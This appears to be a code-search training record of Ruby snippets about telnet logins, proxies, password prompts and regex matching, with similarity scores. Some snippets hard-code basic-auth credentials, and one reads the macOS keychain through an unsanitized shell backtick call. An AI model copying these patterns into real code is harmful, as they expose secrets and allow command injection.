"def telnet_connect(ip,login,pswd)\r\n prompt_type=/[ftpusr:~>]*\\z/n\r\n puts\"ip,=#{ip},login=#{login},password=#{pswd}\"\r\n telnet = Net::Telnet.new('Host' => ip,'Prompt' =>prompt_type ,\"Output_log\" => \"dump_log.txt\" )\r\n\r\n #The prompt should be the real prompt while you entered your system\r\n telnet.cmd(''){|c| print c}\r\n telnet.waitfor(/[Ll]ogin[: ]*\\z/n) {|c| print c}\r\n telnet.cmd(login) {|c| print c}\r\n telnet.waitfor(/Password[: ]*\\z/n) {|c| print c}\r\n telnet.cmd(pswd) {|c| print c}\r\n\r\n # the following sentence can wrok for unity and webAdapt.\r\n telnet.waitfor(/[>]|Enter selection\\:/n) {|c| print c}\r\n\r\n sleep 5\r\n return telnet\r\n end",
"def set_proxy(addr, port = T.unsafe(nil), user = T.unsafe(nil), pass = T.unsafe(nil)); end",
"def http_proxy_uri\n @http_proxy_uri ||= begin\n keys = %w( HTTP_PROXY HTTP_PROXY_USER HTTP_PROXY_PASS )\n env = Hash[ENV.\n map{|k, v| [k.upcase, v]}.\n select{|k, v| keys.include?(k)}.\n reject{|k, v| v.nil? || v.empty?}]\n\n uri = env[\"HTTP_PROXY\"] or return\n uri = \"http://#{uri}\" unless uri =~ /^(https?|ftp|file):/\n uri = URI.parse(uri)\n uri.user ||= env[\"HTTP_PROXY_USER\"]\n uri.password ||= env[\"HTTP_PROXY_PASS\"]\n uri\n end\n end",
"def connect_using_proxy(socket); end",
"def credentials\n return nil if username.nil? || password.nil?\n \"#{username}:#{password}\"\n end",
"def getpass(prompt)\n STDERR.print prompt\n system('stty -echo') or STDERR.puts('+ stty -echo failed')\n pass = STDIN.readline.chomp\n system('stty echo') or STDERR.puts('+ stty echo failed')\n STDERR.puts\n return pass\n end",
"def proxy_address\n proxy? ? @options['proxy_address'] || '127.0.0.1' : nil\n end",
"def get_password(host)\n # Retrieve password from OS X KeyChain.\n osx = (RUBY_PLATFORM =~ /darwin/)\n if(osx)then\n\n require 'osx_keychain'\n keychain = OSXKeychain.new\n user = ENV['USER']\n pass = keychain[host, user ]\n\n if(pass == nil) then\n puts \"Password for '#{host}' not found on OS X KeyChain. \"\n puts \"Enter password to store new password on OS X KeyChain.\"\n require 'highline/import'\n\n pass = ask(\"Password: \") {|q| q.echo = \"*\"} # false => no echo\n keychain[host, user] = pass\n puts \"Password for '#{user}' on '#{host}' stored on OS X KeyChain.\"\n end\n return pass\n\n else\n puts \"Warning: Not running on OS X.\"\n end\n\nend",
"def password\n @password ||= ENV['RUBYFORGE_PASSWORD']\n @password ||= (\n $stdout << \"Password for #{username}: \"\n $stdout.flush\n until inp = $stdin.gets ; sleep 1 ; end ; puts\n inp.strip\n )\n end",
"def authenticate\n authenticate_or_request_with_http_basic do |username, password|\n self.username == username && self.password == password\n end\n end",
"def proxy\n ENV['RANCHER_PROXY']\n end",
"def login\n puts 'Vui long dang nhap'\n puts 'Username: '\n $user_name = gets.chomp.to_s\n puts 'Password'\n $pass_word = gets.chomp.to_s\nend",
"def ask_for_password(prompt = 'new password', *colors)\n print Paint[\"#{prompt}:\".capitalize, *colors] + \" \"\n system 'stty -echo' if $stdin.tty? # no more terminal output\n pw_plaintext = ($stdin.gets||'').chop # gets without $stdin would mistakenly read_safe from ARGV\n system 'stty echo' if $stdin.tty? # restore terminal output\n puts \"\\e[999D\\e[K\\e[1A\" if $stdin.tty? # re-use prompt line in terminal\n \n pw_plaintext\n end",
"def find_http_proxy\n ret = [nil, nil]\n\n # check the platform. If we're running in windows then we need to \n # check the registry\n if @opt['use_proxy'] || @opt['proxy_url']\n if @opt['proxy_url'] && @opt['proxy_url'].size > 0\n uri = parse_url(@opt['proxy_url'], 'proxy URL')\n ret = [uri.host, uri.port]\n elsif RUBY_PLATFORM =~ /win32/i\n # Find a proxy in Windows by checking the registry.\n # this code shamelessly copied from Raggle :D\n\n require 'win32/registry'\n\n Win32::Registry::open(\n Win32::Registry::HKEY_CURRENT_USER,\n 'Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings'\n ) do |reg|\n # check and see if proxy is enabled\n if reg.read('ProxyEnable')[1] != 0\n # get server, port, and no_proxy (overrides)\n server = reg.read('ProxyServer')[1]\n np = reg.read('ProxyOverride')[1]\n\n server =~ /^([^:]+):(.+)$/\n ret = [$1, $2]\n\n # don't bother with no_proxy support\n # ret['no_proxy'] = np.gsub(/;/, ',') if np && np.length > 0\n end\n end\n else\n # handle UNIX systems\n PROXY_ENV_VARS.each do |env_var|\n if ENV[env_var]\n # if we found a proxy, then parse it\n ret = ENV[env_var].sub(/^http:\\/\\/([^\\/]+)\\/?$/, '\\1').split(':')\n ret[1] = ret[1].to_i if ret[1]\n break\n end\n end\n # $stderr.puts \"DEBUG: http_proxy = #{ENV['http_proxy']}, ret = [#{ret.join(',')}]\"\n end\n else \n # proxy is disabled\n ret = [nil, nil]\n end\n\n # return host and port\n ret\n end",
"def get_keychain_password(username, server)\n if result = `security 2>&1 > /dev/null find-internet-password -ga #{username} -s #{server}`\n result.match(/\\\"(\\w+)\\\"/).to_a.last\n end\nend",
"def _auth_loop_request(url)\n begin\n $stdout.puts \"Enter your credentials (Control-C to quit).\"\n user = ask(\"Enter username for #{api_url}: \")\n pass = ask(\"Enter password for #{api_url}: \") { |q| q.echo = '*' }\n\n response = request(url) do |u|\n yield(u).tap {|request| request.basic_auth(user, pass) }\n end\n\n break if response.kind_of? Net::HTTPOK\n $stderr.puts \"Authentication failed: #{response.code} #{response.message}\"\n end while true\n\n [user, pass, response ]\n end",
"def authenticate\n @shoonga = authenticate_or_request_with_http_basic do |username, password|\n username == \"4vght\" && password == \"we8vds\"\n end\nend",
"def get(username, password, user, transport = :net_http)\n return net_http(username, password, user) if transport == :net_http\n return curl(username,password,user) if transport == :curl\n \"\"\n end",
"def password\n @password || raise(Communicator::MissingCredentials.new(\"No Password specified for HTTP AUTH. Please configure using Communicator.password='xyz'\"))\n end",
"def login(username:, password:)\n if password == 'test'\n print username, 'ALLOWED'\n else\n print username, 'DENIED'\n end\nend"
] | [
"0.67717135",
"0.65416163",
"0.6259683",
"0.6256776",
"0.6227258",
"0.6202245",
"0.6157576",
"0.6105552",
"0.6069566",
"0.60599804",
"0.604003",
"0.6004663",
"0.5964904",
"0.594268",
"0.5939773",
"0.5936331",
"0.5922371",
"0.59126276",
"0.58866394",
"0.5868141",
"0.5863001",
"0.58575445",
"0.5822713",
"0.5817181",
"0.58097297",
"0.5807156",
"0.5793985",
"0.5762162",
"0.57500875",
"0.5747096",
"0.5672626",
"0.56508505",
"0.5647747",
"0.56455034",
"0.56446654",
"0.5626886",
"0.56228703",
"0.5614523",
"0.5611608",
"0.56096345",
"0.5608692",
"0.5589565",
"0.55803466",
"0.55787396",
"0.55642587",
"0.55642277",
"0.5555433",
"0.55480033",
"0.5547505",
"0.55373293",
"0.55254513",
"0.5519288",
"0.5500769",
"0.54970795",
"0.54970795",
"0.54970795",
"0.54970795",
"0.54970795",
"0.54970795",
"0.54970795",
"0.54950225",
"0.5456699",
"0.54496706",
"0.5445228",
"0.5431628",
"0.54256284",
"0.5424564",
"0.5417336",
"0.53754646",
"0.53734785",
"0.5369348",
"0.53691405",
"0.53685844",
"0.53667563",
"0.535991",
"0.5359512",
"0.53504705",
"0.5346589",
"0.5342264",
"0.5331374",
"0.53029335",
"0.5301323",
"0.52957994",
"0.5290633",
"0.5271668",
"0.5270023",
"0.5267076",
"0.5265795",
"0.52615446",
"0.5261152",
"0.5259054",
"0.52495617",
"0.5247991",
"0.5247503",
"0.5246398",
"0.52452034",
"0.5244016",
"0.52412075",
"0.52389836",
"0.5234208"
] | 0.6311824 | 2 |
pisspoor matching but the alternative is complex and this is good enough for error pages | def match_javascript_refresh(line)
line =~ /window.location\s*=\s*(["'].*)$/i ? "#{$1.sub(/\/\/.*$/, "").sub(/\s*-->.*$/, "").sub(/\s*<\/script>.*$/, "")} [javascript]" : nil
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def pre_match() end",
"def match(p0) end",
"def match(p0) end",
"def match(pattern); end",
"def test_match \n begin\n md = @regexp =~ @s\n puts \"\\n#{regexp} =~ #{@s} yields #{@regexp =~ @s} and $~=#{$~.inspect}\"\n\n rescue => e\n $stderr.print e.message \n $stderr.print e.backtrace.join(\"\\n\")\n raise #re-raise\n end \n end",
"def post_match() end",
"def match; end",
"def match; end",
"def match(argv1)\n return nil unless argv1\n isnot = %r{(?:5[.]1[.]0[ ]Address\n |Recipient[ ]address\n |Sender[ ]IP[ ]address\n )[ ]rejected\n }xi\n regex = %r{(?>\n [<][>][ ]invalid[ ]sender\n |address[ ]rejected\n |Administrative[ ]prohibition\n |batv[ ](?:\n failed[ ]to[ ]verify # SoniWall\n |validation[ ]failure # SoniWall\n )\n |backscatter[ ]protection[ ]detected[ ]an[ ]invalid[ ]or[ ]expired[ ]email[ ]address # MDaemon\n |bogus[ ]mail[ ]from # IMail - block empty sender\n |Connections[ ]not[ ]accepted[ ]from[ ]servers[ ]without[ ]a[ ]valid[ ]sender[ ]domain\n |denied[ ]\\[bouncedeny\\] # McAfee\n |Delivery[ ]not[ ]authorized,[ ]message[ ]refused\n |does[ ]not[ ]exist[ ]E2110\n |domain[ ]of[ ]sender[ ]address[ ].+[ ]does[ ]not[ ]exist\n |Emetteur[ ]invalide.+[A-Z]{3}.+(?:403|405|415)\n |empty[ ]envelope[ ]senders[ ]not[ ]allowed\n |error:[ ]no[ ]third-party[ ]dsns # SpamWall - block empty sender\n |From:[ ]Domain[ ]is[ ]invalid[.][ ]Please[ ]provide[ ]a[ ]valid[ ]From:\n |fully[ ]qualified[ ]email[ ]address[ ]required # McAfee\n |invalid[ ]domain,[ ]see[ ][<]url:.+[>]\n |Mail[ ]from[ ]not[ ]owned[ ]by[ ]user.+[A-Z]{3}.+421\n |Message[ ]rejected:[ ]Email[ ]address[ ]is[ ]not[ ]verified\n |mx[ ]records[ ]for[ ].+[ ]violate[ ]section[ ].+\n |Null[ ]Sender[ ]is[ ]not[ ]allowed\n |recipient[ ]not[ ]accepted[.][ ][(]batv:[ ]no[ ]tag\n |returned[ ]mail[ ]not[ ]accepted[ ]here\n |rfc[ ]1035[ ]violation:[ ]recursive[ ]cname[ ]records[ ]for\n |rule[ ]imposed[ ]mailbox[ ]access[ ]for # MailMarshal\n |sender[ ](?:\n email[ ]address[ ]rejected\n |is[ ]Spammer\n |not[ ]pre[-]approved\n |rejected\n |domain[ ]is[ ]empty\n |verify[ ]failed # Exim callout\n )\n |syntax[ ]error:[ ]empty[ ]email[ ]address\n |the[ ]message[ ]has[ ]been[ ]rejected[ ]by[ ]batv[ ]defense\n |transaction[ ]failed[ ]unsigned[ ]dsn[ ]for\n |Unroutable[ ]sender[ ]address\n |you[ ]are[ ]sending[ ]to[/]from[ ]an[ ]address[ ]that[ ]has[ ]been[ ]blacklisted\n )\n }ix\n\n return false if argv1 =~ isnot\n return true if argv1 =~ regex\n return false\n end",
"def match(regexp); end",
"def match(input); end",
"def stop_if_match; true; end",
"def matcher; end",
"def matcher; end",
"def pre_match\n end",
"def matching_lines(regex); end",
"def fnmatch(matcher); end",
"def refute_match(matcher, obj, msg = T.unsafe(nil)); end",
"def matches(_ext); end",
"def matches(_ext); end",
"def match(argv1)\n return nil unless argv1\n regex = %r{(?>\n Account[ ]disabled[ ]temporarly[ ]for[ ]exceeding[ ]receiving[ ]limits\n |account[ ]is[ ](?:\n exceeding[ ]their[ ]quota\n |over[ ]quota\n |temporarily[ ]over[ ]quota\n )\n |Boite[ ]du[ ]destinataire[ ]pleine.+[A-Z]{3}.+417\n |delivery[ ]failed:[ ]over[ ]quota\n |disc[ ]quota[ ]exceeded\n |does[ ]not[ ]have[ ]enough[ ]space\n |exceeded[ ]storage[ ]allocation\n |exceeding[ ]its[ ]mailbox[ ]quota\n |full[ ]mailbox\n |is[ ]over[ ](?:\n disk[ ]quota\n |quota[ ]temporarily\n )\n |mail[ ](?:\n file[ ]size[ ]exceeds[ ]the[ ]maximum[ ]size[ ]allowed[ ]for[ ]mail[ ]delivery\n |quota[ ]exceeded\n )\n |mailbox[ ](?:\n exceeded[ ]the[ ]local[ ]limit\n |full\n |has[ ]exceeded[ ]its[ ]disk[ ]space[ ]limit\n |is[ ]full\n |over[ ]quota\n |quota[ ]usage[ ]exceeded\n |size[ ]limit[ ]exceeded\n )\n |maildir[ ](?:\n delivery[ ]failed:[ ](?:User|Domain)disk[ ]quota[ ]?.*[ ]exceeded\n |over[ ]quota\n )\n |mailfolder[ ]is[ ]full\n |not[ ]enough[ ]storage[ ]space[ ]in\n |over[ ]the[ ]allowed[ ]quota\n |quota[ ](?:\n exceeded\n |violation[ ]for\n )\n |recipient[ ](?:\n reached[ ]disk[ ]quota\n |rejected:[ ]mailbox[ ]would[ ]exceed[ ]maximum[ ]allowed[ ]storage\n )\n |The[ ](?:\n recipient[ ]mailbox[ ]has[ ]exceeded[ ]its[ ]disk[ ]space[ ]limit\n |user[']s[ ]space[ ]has[ ]been[ ]used[ ]up\n |user[ ]you[ ]are[ ]trying[ ]to[ ]reach[ ]is[ ]over[ ]quota\n )\n |too[ ]much[ ]mail[ ]data # @docomo.ne.jp\n |user[ ](?:\n has[ ](?:\n exceeded[ ]quota,[ ]bouncing[ ]mail\n |too[ ]many[ ]messages[ ]on[ ]the[ ]server\n )\n |is[ ]over[ ](?:the[ ])?quota\n |over[ ]quota\n |over[ ]quota[.][ ][(][#]5[.]1[.]1[)] # qmail-toaster\n )\n |was[ ]automatically[ ]rejected:[ ]quota[ ]exceeded\n |would[ ]be[ ]over[ ]the[ ]allowed[ ]quota\n )\n }ix\n\n return true if argv1 =~ regex\n return false\n end",
"def methods_matching(re); end",
"def matches(ext); end",
"def allow_matcher; end",
"def submatcher; end",
"def submatcher; end",
"def matches?(pattern); end",
"def regexps; end",
"def try_regexp( str, re )\n\tif str =~ re\n\t\tputs \" #$PREMATCH\",\n\t\t \" \" + colorize( 'bold', 'green' ) { $MATCH },\n\t\t \" #$POSTMATCH\"\n\telse\n\t\tputs colorize( \"Nope.\", 'red' )\n\tend\nend",
"def check_scan(s, pattern); end",
"def check_scan(s, pattern); end",
"def match(keyword); end",
"def wont_match(exp, msg=nil)\n MatchAssay.refute!(self, exp, :message=>msg, :backtrace=>caller)\n end",
"def badish\n# Post process each bad entry to match against the profesor names in a regular expression fashion\nbad.each do |item|\n # unpack\n id = materias[item][0]\n rfc = materias[item][3]\n p_name = materias[item][4]\n #puts materias[item].inspect if (DEBUG)\n\n #name = []\n profesores.each do |profesor|\n # normalize string and split into words\n name = profesor[1].chomp.upcase.gsub(/\\s+/,' ').gsub(/(M\\.[ICAG]|L\\.A|I\\.Q|ING|FIS|MTRO|MRTO|DRA?)\\.?$/,\"\").split(\" \")\n # match the known name against a regular expression\n if (name.length >= 5)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3]+\" \"+name[4])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 4)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2]+\" \"+name[3])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 3)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1]+\" \"+name[2])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n if (name.length >= 2)\n regex = Regexp.new(\"^\"+name[0]+\" \"+name[1])\n puts [p_name , name , regex].inspect if (p_name =~ regex)\n end\n end\nend\nend",
"def match_captures; end",
"def match()\n end",
"def fnmatch?(matcher); end",
"def pre_match\n nil\n end",
"def test_match_resolution\n exc_handler = HumanParseExceptionHandler.new\n new_str = exc_handler.get_human_result_for_string(\"foobar\",\"ParseException\")\n assert_equal(false, new_str)\n \n exc_handler.add_human_result_for_string(\"foobar\",\"ParseException\",\"FOOBAR\")\n assert_equal(\"FOOBAR\",exc_handler.get_human_result_for_string(\"foobar\",\"ParseException\"))\n end",
"def on_match_pattern_p(node); end",
"def match_query(query); end",
"def exact_match?\r\n warning.nil?\r\n end",
"def exact_match?\r\n warning.nil?\r\n end",
"def parse_response(response)\n passed = false\n if @each_line_regex\n begin @each_line_regex = Regexp.new(@each_line_regex) rescue raise(\"Invalid each-line-regex: #{@each_line_regex}\") end\n response.each_line do |line|\n passed = true if line =~ @each_line_regex\n end\n end\n if @full_text_regex\n begin @full_text_regex = Regexp.new(@full_text_regex) rescue raise(\"Invalid full-text-regex: #{@each_line_regex}\") end\n passed = true if response =~ @full_text_regex\n end\n passed\nend",
"def parse_response(response)\n passed = false\n if @each_line_regex\n begin @each_line_regex = Regexp.new(@each_line_regex) rescue raise(\"Invalid each-line-regex: #{@each_line_regex}\") end\n response.each_line do |line|\n passed = true if line =~ @each_line_regex\n end\n end\n if @full_text_regex\n begin @full_text_regex = Regexp.new(@full_text_regex) rescue raise(\"Invalid full-text-regex: #{@each_line_regex}\") end\n passed = true if response =~ @full_text_regex\n end\n passed\nend",
"def test_truthy_finds(tests, method, options = {})\n tests.each do |test|\n matches = Ramparts.send(method, test[:text], options)\n test[:matches].each_with_index do |match_string, index|\n if matches[index].nil? || matches[index][:value].casecmp(match_string) != 0\n got_result = matches[index].nil? ? 'NIL' : matches[index][:value]\n raise \"Expected: #{match_string}\\nGot: #{got_result}\\nBlock '#{test[:text]}'\\nResult: #{matches}\"\n end\n end\n end\nend",
"def match(tokens, definitions); end",
"def matches_specs(text)\n text = text.downcase\n matches = false\n\n # some of Terri's terms were redundant so I removed them\n matches = true if text =~ /\\bsid|pakistan[.]* rendition|apartheid|apart[.]* regime|apart[.]* state|palestin[.]*/\n matches = true if text =~ /israel/ and text =~ /human rights violations/\n\n matches\nend",
"def refute_match(pattern, string, msg=nil)\n MatchAssay.refute!(string, pattern, :message=>msg, :backtrace=>caller)\n end",
"def match parser, index\r\n raise \"Must override match\"\r\n end",
"def underlying_matcher; end",
"def underlying_matcher; end",
"def check_error_response(last_response)\n refute_match 'Sinatra doesn’t know this ditty', last_response.body, \"unmatched url\"\n end",
"def build_exception_matcher(exceptions); end",
"def longexpr\n end",
"def match\n true\n end",
"def regexp; end",
"def regexp; end",
"def re; end",
"def on_match_pattern(node); end",
"def match(input)\n input \n end",
"def match(source, code)\n html_errors = Array.new\n\n code = Nokogiri::HTML(code)\n\n elements = get_elements(source)\n\n elements.each do |e|\n item = e[:tag]\n\n if item==\"text\"\n\n if !e[:content].nil?\n if code.css(e[:parent]).count < 2\n if code.css(e[:parent]).text != e[:content]\n html_errors << new_error(element: e, type: 330, description: e[:parent] + \" haven't the same text \" + e[:content])\n end\n else\n exist = false\n code.css(e[:parent]).each do |code_css|\n #if code_css.at_css(e[:tag]).parent.name == e[:parent]\n if code_css.text == e[:content]\n exist = true\n end\n #end\n end\n if !exist\n html_errors << new_error(element: e, type: 330, description: e[:parent] + \" haven't the same text \" + e[:content])\n end\n end\n end\n\n else\n if code.css(e[:tag]).length > 0\n\n if !e[:attribute].nil?\n if code.css(e[:tag]).attribute(e[:attribute]).nil?\n html_errors << new_error(element: e, type: 334, description: e[:attribute] + \" didn't exist in \" + e[:tag])\n else\n if code.css(e[:tag]).attribute(e[:attribute]).value != e[:value]\n html_errors << new_error(element: e, type: 333, description: e[:attribute] + \" isn't the same value \" + e[:value])\n end\n end\n end\n\n if code.css(e[:tag]).count < 2\n if code.css(e[:tag]).first.parent.name != e[:parent]\n html_errors << new_error(element: e, type: 440, description: e[:tag] + \" didn't exist in \" + e[:parent])\n end\n else\n exist_in_parent = false\n code.css(e[:tag]).each do |code_css|\n if code_css.parent.name == e[:parent]\n exist_in_parent = true\n end\n end\n if !exist_in_parent\n html_errors << new_error(element: e, type: 440, description: e[:tag] + \" didn't exist in \" + e[:parent])\n end\n end\n\n else\n\n if code.at_css(e[:tag]).nil?\n html_errors << new_error(element: e, type: 404, description: e[:tag] + \" didn't exist\")\n end\n\n end\n\n end\n end\n\n html_errors\n end",
"def test_extended_patterns_no_flags\n [\n [ \".*\", \"abcd\\nefg\", \"abcd\" ],\n [ \"^a.\", \"abcd\\naefg\", \"ab\" ],\n [ \"^a.\", \"bacd\\naefg\", \"ae\" ],\n [ \".$\", \"bacd\\naefg\", \"d\" ]\n ].each do |reg, str, result|\n m = RustRegexp.new(reg).match(str)\n puts m.inspect\n unless m.nil?\n assert_equal result, m[0]\n end\n end\n end",
"def issue_found(script, rule, pair); end",
"def file_match(file)\n end",
"def test_seqence_valid19\n result = engine(\"TrumppasswORd12%\")\n refute(result, \"'Trump1%' should not be valid because it contains password.\")\n end",
"def test_exclusion_match\r\n\t\tcontent = \"first line.\\nthis string contains a case sensitive match on: MyMatch123\"\r\n\t\tsnort_rule_content = SnortRuleContent.new\r\n\t\tsnort_rule_content.not_modifier = true\r\n\t\tsnort_rule_content.unescaped_string = \"MyMatch123\"\r\n\t\tsnort_rule_content.nocase = false\r\n\t\tassert(!snort_rule_content.match(content,0),\"incorrect case sensitive exclusion match on content.\")\r\n\tend",
"def extract(pattern); end",
"def test_strict_match_criteria\n entry = BigramEntry.new\n entry.parse_line(\"8\t工作\t18904\t6.89133239246\t213454\")\n cedict_entry = CEdictEntry.new\n cedict_entry.parse_line(\"工作 工作 [gong1 zuo4] /job/work/construction/task/CL:個|个[ge4],份[fen4],項|项[xiang4]/\")\n \n result = entry.default_match_criteria.call(cedict_entry,entry)\n assert(true,result)\n end",
"def matches\n parse\n end",
"def _match(dir, message)\n return [false, nil] if @idx >= @exps.length\n matched = true\n matched = false if dir != @exps[@idx].direction\n if matched\n if dir == ::SipperUtil::ExpectationElement::Directions[2] # \"!\" \n matched = _match_neutral(message)\n elsif message.first_char(1).int?\n matched = _match_response(message)\n else\n matched = _match_request(message)\n end\n end\n if matched\n @match_count += 1\n return [true, nil] if @match_count < @exps[@idx].range.min\n return [false,_unmatched_expectation] if @match_count > @exps[@idx].range.max\n if @exps[@idx].range.include? @match_count\n @exps[@idx].satisfied = true \n return [true, nil]\n end\n else\n if (@exps[@idx].satisfied || @exps[@idx].range.min == 0)\n @idx += 1\n @match_count = 0\n return _match(dir, message) # match next\n else\n return [false,_unmatched_expectation]\n end\n end \n end",
"def catch_phrase; end",
"def catch_phrase; end",
"def regexp(r0, which)\n source, stop_index = r0.source, r0.stop_index\n return factor_result(source, stop_index, stop_index+$&.length) \\\n if source.index(@regexps[which],stop_index)==stop_index\n terminal_parse_failure(r0, which)\n end",
"def refute_match(exp, act, msg=nil)\n MatchFailure.refute(act, exp, :message=>msg, :backtrace=>caller)\n end",
"def match_response(req, res)\n\t\t# Instead of callbacks, i can have a url pattern check here to determine appropriate respose\n\t\turl = req.url\n\t\thtml = res.body\n\t\t#binding.pry\n\n\t\t#Match conditions here\n\t\tif url.match(/zip-codes\\/\\d+/)\n\t\t\t#binding.pry\n byebug\n\t\t\t#movers = parse(html, get_params(url, :ProMoverZip))\n\n\t\t\t#moverdatawriter.write_hashes(movers)\n \n # get pagination links here\n\n\t\t\t#bizlinkw.write_array(mlinks)\n\t\t\t#zip_writer.write_array(ziplinks)\n\t\t\t# Queue the business links\n\t\t\t#Uncomment after replacing these links by webcache links\n\t\t\t##binding.pry\n\t\t\t#queue_links(ziplinks)\n elsif url.match(/zip-codes\\/\\d+\\?page=\\d+/)\n \n\t\tend\n\t\t#Possible actions are pagination_links, parse_links\n\t\t\t\t\n\tend",
"def matcher_name; end",
"def matcher_name; end",
"def match=(_); end",
"def case_insensitive_match; end",
"def match\n extract!\n policy_failure_match! || self\n end",
"def test_string_match\n s = \"a\"\n assert_equal(0, string_match(\"a\", s))\n assert_equal(0, string_match(/a/, s))\n assert_equal(0, string_match('\\(a\\|\\b\\)', s))\n assert_equal(0, string_match(/a|b/, s))\n assert_equal(0, string_match(/^a/, s))\n assert_equal(0, string_match(/a$/, s))\n assert_equal(0, string_match(/.*/, s))\n assert_equal(nil, string_match(/not-match/, s))\n \n end",
"def remove_bad_ident_matches(matches)\n passed_matches = []\n matches.each do |m|\n next if (m[\"match_type\"] == \"content_body\" &&\n m[\"matched_content\"] == \"(?-mix:Drupal)\")\n\n next if (m[\"match_type\"] == \"content_cookies\" &&\n m[\"matched_content\"] == \"(?i-mx:ADRUM_BTa)\" &&\n m[\"product\"] == \"Jobvite\")\n\n passed_matches << m\n end\n passed_matches\n end",
"def match_ar_error(string)\n simple_matcher(\"match activerecord error\") do |given|\n error = given.is_a?(Array) ? given.first : given\n error == string\n end\nend",
"def expected_content\n text = '<h1>is the most important headline</h1>\\s*?' +\n '<p>\\s*?' +\n 'This is ordinary paragraph text within the body of the document,' +\n ' where certain words and phrases may be ' +\n '<em>emphasized</em> to mark them as ' +\n '<strong.*>particularly</strong>'\n Regexp.new text\nend",
"def matched\n match.to_s if matched?\n end",
"def match(argv1)\n return nil unless argv1\n regex = %r{(?>\n Boite[ ]du[ ]destinataire[ ]archivee.+[A-Z]{3}.+420\n |email[ ]account[ ]that[ ]you[ ]tried[ ]to[ ]reach[ ]is[ ]disabled\n |invalid/inactive[ ]user\n # http://service.mail.qq.com/cgi-bin/help?subtype=1&&id=20022&&no=1000742\n |is[ ]a[ ]deactivated[ ]mailbox\n |mailbox[ ](?:\n currently[ ]suspended\n |unavailable[ ]or[ ]access[ ]denied\n )\n |recipient[ ](?:\n rejected:[ ]Temporarily[ ]inactive\n |suspend[ ]the[ ]service\n )\n |sorry[ ]your[ ]message[ ]to[ ].+[ ]cannot[ ]be[ ]delivered[.][ ]this[ ]\n account[ ]has[ ]been[ ]disabled[ ]or[ ]discontinued\n |The[ ]domain[ ].+[ ]is[ ]currently[ ]suspended\n |User[ ].+[ ]temporary[ ]locked\n |user[ ]suspended # http://mail.163.com/help/help_spam_16.htm\n |vdelivermail:[ ]account[ ]is[ ]locked[ ]email[ ]bounced\n )\n }ix\n\n return true if argv1 =~ regex\n return false\n end",
"def test_match_case_sensitive_depth_no_match\r\n\t\t#content with exact match\r\n\t\tcontent = \"123MyMatch and some more\"\r\n\t\tsnort_rule_content = SnortRuleContent.new\r\n\t\tsnort_rule_content.unescaped_string = \"MyMatch\"\r\n\t\tsnort_rule_content.depth = 9\r\n\t\tsnort_rule_content.nocase = false\r\n\t\tassert(!snort_rule_content.match(content,0),\"incorrect match on content with depth.\")\r\n\tend",
"def matching_text_element_lines(regex, exclude_nested = T.unsafe(nil)); end",
"def test_seqence_valid16\n result = engine(\"trump12%\")\n refute(result, \"'trump12%' should not be valid because it does not contain upper case letters.\")\n end",
"def post_match\n end",
"def refute_punched(str)\n refute_includes brf_content, str\n end",
"def match_against filename\n @regexp.match(filename)\n end",
"def find_match\n @skips.each { |pattern| @scanner.skip(pattern) }\n @tests.each do |pattern, block|\n if result = @scanner.scan(pattern)\n return (block.arity.zero? ? block.call : block.call(result))\n end\n end\n raise \"Error: Unregocnized character (#{@scanner.peek(1).inspect}).\"\n end",
"def test_a_regexp_can_search_a_string_for_matching_content\n assert_equal 'match', \"some matching content\"[/match/]\n end",
"def matches(key, regex, plaintext)\n # puts \"Matching #{key} against #{regex}\"\n # puts \"Value: #{params[key]}\"\n unless params[key] =~ regex || params[key].to_s.size == 0\n raise SparrowOne::RequestError.new(plaintext)\n end\n end",
"def scan(pattern); end",
"def matched?\n !failed?\n end",
"def test_exclusion_match_nocase_no_match\r\n\t\tcontent = \"first line.\\nthis string does not contain a case insensitive match on: MyMatch123\"\r\n\t\tsnort_rule_content = SnortRuleContent.new\r\n\t\tsnort_rule_content.not_modifier = true\r\n\t\tsnort_rule_content.unescaped_string = \"some other string\"\r\n\t\tsnort_rule_content.nocase = true\r\n\t\tmatch = snort_rule_content.match(content,0)\r\n\t\tassert_equal(0, match,\"nocase exclusion match on content didnt fire.\")\t\r\n\tend",
"def test_match_case_sensitive_binary_no_match\r\n\t\t#content with exact match\r\n\t\tcontent = \"first line.\\nthis string doesnt contains a match on: My\"\r\n\t\tsnort_rule_content = SnortRuleContent.new\r\n\t\tsnort_rule_content.unescaped_string = \"M|79|Mat|63 68|123\" #equals MyMatch123\r\n\t\tsnort_rule_content.nocase = false\r\n\t\tassert(!snort_rule_content.match(content,0),\"case sensitive match on no match content.\")\r\n\tend",
"def calculate_match_probability\n # two heuristics: \n # 1 is are their multiple words in term_text? if so, mark as probable\n # if not, does it match the anchor regexp? if so, mark as probable\n # else, mark as improbable\n \n # multiple words?\n anchor_regexp = \"(featuring|plus|the|presents|with|plus|and|\\,|\\&|[()]|\\/|\\:|\\-|^|$)\"\n nix_regexp = \"parking|\\svs\\.?\\s\" \n if artist_name=~/#{nix_regexp}/i\n self.match_probability=\"unlikely\"\n return nil\n end\n text=term_text.strip\n if text[\" \"]\n self.match_probability=\"likely\"\n return \"multpl\"\n end\n if artist_name=~/#{anchor_regexp}\\s*#{text}\\s*#{anchor_regexp}/i\n self.match_probability=\"likely\"\n return \"regexp\"\n end\n# if artist_name=~/#{anchor_regexp}\\s+?#{text}\\s+?#{anchor_regexp}/i\n# match_probability=\"likely\"\n# return \"regexp\"\n# end\n self.match_probability=\"unlikely\"\n return nil\n end"
] | [
"0.7090835",
"0.689698",
"0.689698",
"0.6860065",
"0.6725951",
"0.667814",
"0.65287334",
"0.65287334",
"0.6453381",
"0.6416772",
"0.6385208",
"0.6317937",
"0.6317707",
"0.6317707",
"0.61786884",
"0.6158108",
"0.60969377",
"0.60914445",
"0.60631156",
"0.60631156",
"0.59785265",
"0.59688455",
"0.59661746",
"0.59578913",
"0.59249675",
"0.59249675",
"0.5917581",
"0.5892431",
"0.5883671",
"0.58802897",
"0.58802897",
"0.5830156",
"0.58225775",
"0.5814632",
"0.5785262",
"0.57776546",
